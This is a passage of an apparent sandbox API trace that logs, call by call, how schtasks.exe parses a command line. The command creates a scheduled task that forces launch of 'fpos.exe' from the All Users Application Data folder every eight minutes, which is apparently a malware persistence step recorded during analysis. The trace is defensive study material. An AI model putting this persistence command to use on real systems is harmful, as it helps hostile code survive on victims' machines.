_Buffer="|sc|") returned 4 [0085.382] lstrlenW (lpString="|sc|") returned 4 [0085.382] lstrlenW (lpString="|sc|") returned 4 [0085.382] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0085.382] SetLastError (dwErrCode=0x0) [0085.382] SetLastError (dwErrCode=0x0) [0085.382] lstrlenW (lpString="MINUTE") returned 6 [0085.383] lstrlenW (lpString="-/") returned 2 [0085.383] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0085.383] SetLastError (dwErrCode=0x490) [0085.383] SetLastError (dwErrCode=0x490) [0085.383] SetLastError (dwErrCode=0x0) [0085.383] lstrlenW (lpString="MINUTE") returned 6 [0085.383] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0085.383] SetLastError (dwErrCode=0x490) [0085.383] SetLastError (dwErrCode=0x0) [0085.383] GetProcessHeap () returned 0xd0000 [0085.383] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x18) returned 0xed670 [0085.383] _memicmp (_Buf1=0xed670, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.383] lstrlenW (lpString="MINUTE") returned 6 [0085.383] GetProcessHeap () returned 0xd0000 [0085.383] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0xe) returned 0xed690 [0085.383] lstrlenW (lpString="MINUTE") returned 6 [0085.383] lstrlenW (lpString=" \x09") returned 2 [0085.383] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0085.383] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0085.383] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0085.383] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0085.383] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0085.383] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0085.383] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0085.383] GetLastError () returned 0x0 [0085.383] lstrlenW (lpString="MINUTE") returned 6 [0085.384] lstrlenW (lpString="MINUTE") returned 6 [0085.384] SetLastError (dwErrCode=0x0) [0085.384] SetLastError (dwErrCode=0x0) [0085.384] lstrlenW (lpString="/mo") returned 3 [0085.384] lstrlenW (lpString="-/") returned 2 [0085.384] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0085.384] lstrlenW (lpString="create") returned 6 [0085.384] lstrlenW (lpString="create") returned 6 [0085.384] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.384] lstrlenW (lpString="mo") returned 2 [0085.384] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.384] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|create|") returned 8 [0085.384] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|mo|") returned 4 [0085.384] lstrlenW (lpString="|create|") returned 8 [0085.384] lstrlenW (lpString="|mo|") returned 4 [0085.384] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0085.384] SetLastError (dwErrCode=0x490) [0085.384] lstrlenW (lpString="?") returned 1 [0085.384] lstrlenW (lpString="?") returned 1 [0085.384] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.384] lstrlenW (lpString="mo") returned 2 [0085.384] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.384] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|?|") returned 3 [0085.384] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|mo|") returned 4 [0085.385] lstrlenW (lpString="|?|") returned 3 [0085.385] lstrlenW (lpString="|mo|") returned 4 [0085.385] SetLastError (dwErrCode=0x490) [0085.385] lstrlenW (lpString="s") returned 1 [0085.385] lstrlenW (lpString="s") returned 1 [0085.385] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.385] lstrlenW (lpString="mo") returned 2 [0085.385] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.385] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|s|") returned 3 [0085.385] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|mo|") returned 4 [0085.385] lstrlenW (lpString="|s|") returned 3 [0085.385] lstrlenW (lpString="|mo|") returned 4 [0085.385] SetLastError (dwErrCode=0x490) [0085.385] lstrlenW (lpString="u") returned 1 [0085.385] lstrlenW (lpString="u") returned 1 [0085.385] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.385] lstrlenW (lpString="mo") returned 2 [0085.385] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.385] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|u|") returned 3 [0085.385] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|mo|") returned 4 [0085.385] lstrlenW (lpString="|u|") returned 3 [0085.385] lstrlenW (lpString="|mo|") returned 4 [0085.385] SetLastError (dwErrCode=0x490) [0085.385] lstrlenW (lpString="p") returned 1 [0085.386] lstrlenW (lpString="p") returned 1 [0085.386] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.386] lstrlenW (lpString="mo") returned 2 [0085.386] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.386] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|p|") returned 3 [0085.386] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|mo|") returned 4 [0085.386] lstrlenW (lpString="|p|") returned 3 [0085.386] lstrlenW (lpString="|mo|") returned 4 [0085.386] SetLastError (dwErrCode=0x490) [0085.386] lstrlenW (lpString="ru") returned 2 [0085.386] lstrlenW (lpString="ru") returned 2 [0085.386] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.386] lstrlenW (lpString="mo") returned 2 [0085.386] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.386] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|ru|") returned 4 [0085.386] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|mo|") returned 4 [0085.386] lstrlenW (lpString="|ru|") returned 4 [0085.386] lstrlenW (lpString="|mo|") returned 4 [0085.386] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0085.386] SetLastError (dwErrCode=0x490) [0085.386] lstrlenW (lpString="rp") returned 2 [0085.386] lstrlenW (lpString="rp") returned 2 [0085.392] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.392] lstrlenW (lpString="mo") returned 2 [0085.392] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.392] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|rp|") returned 4 [0085.392] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|mo|") returned 4 [0085.392] lstrlenW (lpString="|rp|") returned 4 [0085.392] lstrlenW (lpString="|mo|") returned 4 [0085.392] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0085.392] SetLastError (dwErrCode=0x490) [0085.392] lstrlenW (lpString="sc") returned 2 [0085.392] lstrlenW (lpString="sc") returned 2 [0085.392] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.392] lstrlenW (lpString="mo") returned 2 [0085.393] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.393] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|sc|") returned 4 [0085.393] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|mo|") returned 4 [0085.393] lstrlenW (lpString="|sc|") returned 4 [0085.393] lstrlenW (lpString="|mo|") returned 4 [0085.393] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0085.393] SetLastError (dwErrCode=0x490) [0085.393] lstrlenW (lpString="mo") returned 2 [0085.393] lstrlenW (lpString="mo") returned 2 [0085.393] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.393] lstrlenW (lpString="mo") returned 2 [0085.393] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.393] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|mo|") returned 4 [0085.393] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|mo|") returned 4 [0085.393] lstrlenW (lpString="|mo|") returned 4 [0085.393] lstrlenW (lpString="|mo|") returned 4 [0085.393] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0085.393] SetLastError (dwErrCode=0x0) [0085.393] SetLastError (dwErrCode=0x0) [0085.393] lstrlenW (lpString="8") returned 1 [0085.393] SetLastError (dwErrCode=0x490) [0085.393] SetLastError (dwErrCode=0x0) [0085.393] lstrlenW (lpString="8") returned 1 [0085.393] StrChrIW (lpStart="8", wMatch=0x3a) returned 0x0 [0085.393] SetLastError (dwErrCode=0x490) [0085.394] SetLastError (dwErrCode=0x0) [0085.394] _memicmp (_Buf1=0xed670, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.394] lstrlenW (lpString="8") returned 1 [0085.394] lstrlenW (lpString="8") returned 1 [0085.394] lstrlenW (lpString=" \x09") returned 2 [0085.394] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0085.394] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0085.394] GetLastError () returned 0x0 [0085.394] lstrlenW (lpString="8") returned 1 [0085.394] lstrlenW (lpString="8") returned 1 [0085.394] GetProcessHeap () returned 0xd0000 [0085.394] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x4) returned 0xe5520 [0085.394] SetLastError (dwErrCode=0x0) [0085.394] SetLastError (dwErrCode=0x0) [0085.394] lstrlenW (lpString="/tr") returned 3 [0085.394] lstrlenW (lpString="-/") returned 2 [0085.394] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0085.394] lstrlenW (lpString="create") returned 6 [0085.394] lstrlenW (lpString="create") returned 6 [0085.394] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.394] lstrlenW (lpString="tr") returned 2 [0085.394] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.394] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|create|") returned 8 [0085.394] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tr|") returned 4 [0085.395] lstrlenW (lpString="|create|") returned 8 [0085.395] lstrlenW (lpString="|tr|") returned 4 [0085.395] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0085.395] SetLastError (dwErrCode=0x490) [0085.395] lstrlenW (lpString="?") returned 1 [0085.395] lstrlenW (lpString="?") returned 1 [0085.395] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.395] lstrlenW (lpString="tr") returned 2 [0085.395] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.395] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|?|") returned 3 [0085.395] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tr|") returned 4 [0085.395] lstrlenW (lpString="|?|") returned 3 [0085.395] lstrlenW (lpString="|tr|") returned 4 [0085.395] SetLastError (dwErrCode=0x490) [0085.395] lstrlenW (lpString="s") returned 1 [0085.395] lstrlenW (lpString="s") returned 1 [0085.395] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.395] lstrlenW (lpString="tr") returned 2 [0085.395] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.395] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|s|") returned 3 [0085.395] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tr|") returned 4 [0085.395] lstrlenW (lpString="|s|") returned 3 [0085.395] lstrlenW (lpString="|tr|") returned 4 [0085.395] SetLastError (dwErrCode=0x490) [0085.396] lstrlenW (lpString="u") returned 1 [0085.396] lstrlenW (lpString="u") returned 1 [0085.396] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.396] lstrlenW (lpString="tr") returned 2 [0085.396] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.396] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|u|") returned 3 [0085.396] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tr|") returned 4 [0085.396] lstrlenW (lpString="|u|") returned 3 [0085.396] lstrlenW (lpString="|tr|") returned 4 [0085.396] SetLastError (dwErrCode=0x490) [0085.396] lstrlenW (lpString="p") returned 1 [0085.396] lstrlenW (lpString="p") returned 1 [0085.396] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.396] lstrlenW (lpString="tr") returned 2 [0085.396] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.396] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|p|") returned 3 [0085.396] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tr|") returned 4 [0085.396] lstrlenW (lpString="|p|") returned 3 [0085.396] lstrlenW (lpString="|tr|") returned 4 [0085.396] SetLastError (dwErrCode=0x490) [0085.396] lstrlenW (lpString="ru") returned 2 [0085.396] lstrlenW (lpString="ru") returned 2 [0085.396] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.396] lstrlenW (lpString="tr") returned 2 [0085.397] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.397] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|ru|") returned 4 [0085.397] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tr|") returned 4 [0085.397] lstrlenW (lpString="|ru|") returned 4 [0085.397] lstrlenW (lpString="|tr|") returned 4 [0085.397] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0085.397] SetLastError (dwErrCode=0x490) [0085.397] lstrlenW (lpString="rp") returned 2 [0085.397] lstrlenW (lpString="rp") returned 2 [0085.397] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.397] lstrlenW (lpString="tr") returned 2 [0085.397] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.397] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|rp|") returned 4 [0085.397] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tr|") returned 4 [0085.397] lstrlenW (lpString="|rp|") returned 4 [0085.397] lstrlenW (lpString="|tr|") returned 4 [0085.397] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0085.397] SetLastError (dwErrCode=0x490) [0085.397] lstrlenW (lpString="sc") returned 2 [0085.397] lstrlenW (lpString="sc") returned 2 [0085.397] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.397] lstrlenW (lpString="tr") returned 2 [0085.398] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.398] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|sc|") returned 4 [0085.398] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tr|") returned 4 [0085.398] lstrlenW (lpString="|sc|") returned 4 [0085.398] lstrlenW (lpString="|tr|") returned 4 [0085.398] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0085.398] SetLastError (dwErrCode=0x490) [0085.398] lstrlenW (lpString="mo") returned 2 [0085.398] lstrlenW (lpString="mo") returned 2 [0085.398] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.398] lstrlenW (lpString="tr") returned 2 [0085.398] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.398] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|mo|") returned 4 [0085.398] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tr|") returned 4 [0085.398] lstrlenW (lpString="|mo|") returned 4 [0085.398] lstrlenW (lpString="|tr|") returned 4 [0085.398] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0085.398] SetLastError (dwErrCode=0x490) [0085.398] lstrlenW (lpString="d") returned 1 [0085.398] lstrlenW (lpString="d") returned 1 [0085.398] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.398] lstrlenW (lpString="tr") returned 2 [0085.398] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.398] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|d|") returned 3 [0085.399] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tr|") returned 4 [0085.399] lstrlenW (lpString="|d|") returned 3 [0085.399] lstrlenW (lpString="|tr|") returned 4 [0085.399] SetLastError (dwErrCode=0x490) [0085.399] lstrlenW (lpString="m") returned 1 [0085.399] lstrlenW (lpString="m") returned 1 [0085.399] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.399] lstrlenW (lpString="tr") returned 2 [0085.399] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.399] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|m|") returned 3 [0085.399] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tr|") returned 4 [0085.399] lstrlenW (lpString="|m|") returned 3 [0085.399] lstrlenW (lpString="|tr|") returned 4 [0085.399] SetLastError (dwErrCode=0x490) [0085.399] lstrlenW (lpString="i") returned 1 [0085.399] lstrlenW (lpString="i") returned 1 [0085.399] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.399] lstrlenW (lpString="tr") returned 2 [0085.399] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.399] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|i|") returned 3 [0085.399] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tr|") returned 4 [0085.399] lstrlenW (lpString="|i|") returned 3 [0085.399] lstrlenW (lpString="|tr|") returned 4 [0085.399] SetLastError (dwErrCode=0x490) [0085.400] lstrlenW (lpString="tn") returned 2 [0085.400] lstrlenW (lpString="tn") returned 2 [0085.400] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.400] lstrlenW (lpString="tr") returned 2 [0085.400] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.400] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tn|") returned 4 [0085.400] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tr|") returned 4 [0085.400] lstrlenW (lpString="|tn|") returned 4 [0085.400] lstrlenW (lpString="|tr|") returned 4 [0085.400] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0085.400] SetLastError (dwErrCode=0x490) [0085.400] lstrlenW (lpString="tr") returned 2 [0085.400] lstrlenW (lpString="tr") returned 2 [0085.400] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.400] lstrlenW (lpString="tr") returned 2 [0085.400] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.400] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tr|") returned 4 [0085.400] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tr|") returned 4 [0085.400] lstrlenW (lpString="|tr|") returned 4 [0085.400] lstrlenW (lpString="|tr|") returned 4 [0085.400] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0085.400] SetLastError (dwErrCode=0x0) [0085.400] SetLastError (dwErrCode=0x0) [0085.401] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0085.401] lstrlenW (lpString="-/") returned 2 [0085.401] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0085.401] SetLastError (dwErrCode=0x490) [0085.401] SetLastError (dwErrCode=0x490) [0085.401] SetLastError (dwErrCode=0x0) [0085.401] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0085.401] StrChrIW (lpStart="'C:\\Users\\All Users\\Application Data\\fpos.exe'", wMatch=0x3a) returned=":\\Users\\All Users\\Application Data\\fpos.exe'" [0085.401] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0085.401] _memicmp (_Buf1=0xec440, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.401] _memicmp (_Buf1=0xed610, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.401] SetLastError (dwErrCode=0x7a) [0085.401] SetLastError (dwErrCode=0x0) [0085.401] SetLastError (dwErrCode=0x0) [0085.401] lstrlenW (lpString="'C") returned 2 [0085.401] lstrlenW (lpString="-/") returned 2 [0085.401] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0085.401] SetLastError (dwErrCode=0x490) [0085.401] SetLastError (dwErrCode=0x490) [0085.401] SetLastError (dwErrCode=0x0) [0085.401] _memicmp (_Buf1=0xed670, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.401] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0085.401] GetProcessHeap () returned 0xd0000 [0085.401] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xed690) returned 1 [0085.401] GetProcessHeap () returned 0xd0000 [0085.402] RtlReAllocateHeap (Heap=0xd0000, Flags=0xc, Ptr=0xed690, Size=0x5e) returned 0xec380 [0085.402] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0085.402] lstrlenW (lpString=" \x09") returned 2 [0085.402] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0085.402] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0085.402] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0085.402] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0085.402] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0085.402] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0085.402] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0085.402] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0085.402] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0085.402] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0085.403] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0085.403] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0085.403] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0085.403] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0085.404] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0085.404] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0085.404] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0085.405] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0085.405] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0085.405] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0085.405] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0085.405] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0085.405] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0085.405] GetLastError () returned 0x0 [0085.405] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0085.405] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0085.405] SetLastError (dwErrCode=0x0) [0085.405] SetLastError (dwErrCode=0x0) [0085.405] lstrlenW (lpString="/f") returned 2 [0085.405] lstrlenW (lpString="-/") returned 2 [0085.405] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0085.405] lstrlenW (lpString="create") returned 6 [0085.405] lstrlenW (lpString="create") returned 6 